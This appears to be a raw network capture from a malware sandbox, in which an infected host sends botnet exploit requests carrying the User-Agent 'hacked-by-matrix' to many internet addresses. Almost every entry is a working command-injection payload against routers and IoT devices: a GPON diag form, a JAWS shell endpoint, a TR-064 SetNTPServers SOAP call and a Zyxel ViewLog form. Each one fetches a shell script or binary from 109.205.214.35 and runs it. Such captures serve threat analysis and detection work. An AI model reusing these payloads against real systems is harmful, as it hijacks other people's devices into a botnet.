Mar 21, 2024 05:18:27.871587992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
870	192.168.2.13	34084	79.212.53.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871673107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
871	192.168.2.13	56406	79.152.206.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871682882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
872	192.168.2.13	43132	2.66.76.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871717930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
873	192.168.2.13	41276	118.28.164.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871750116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
874	192.168.2.13	39366	5.51.99.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871815920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
875	192.168.2.13	55006	94.106.59.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871854067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
876	192.168.2.13	33970	2.240.116.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871879101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
877	192.168.2.13	55524	118.80.226.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871915102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
878	192.168.2.13	46800	94.96.117.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871916056 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
879	192.168.2.13	45562	109.201.167.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871989012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
880	192.168.2.13	50942	2.57.230.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.871993065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
881	192.168.2.13	37450	42.70.139.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.872021914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
882	192.168.2.13	57550	118.143.219.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.872068882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
883	192.168.2.13	41598	210.27.91.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.872127056 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
884	192.168.2.13	60738	109.255.10.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.872176886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
885	192.168.2.13	42978	66.216.236.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.880451918 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:28.014811039 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:18:28 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>
Mar 21, 2024 05:18:31.010941982 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:18:28 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
886	192.168.2.13	37444	82.25.114.252	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.915597916 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:28.883863926 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
887	192.168.2.13	38054	178.128.111.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.950308084 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:29.651833057 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
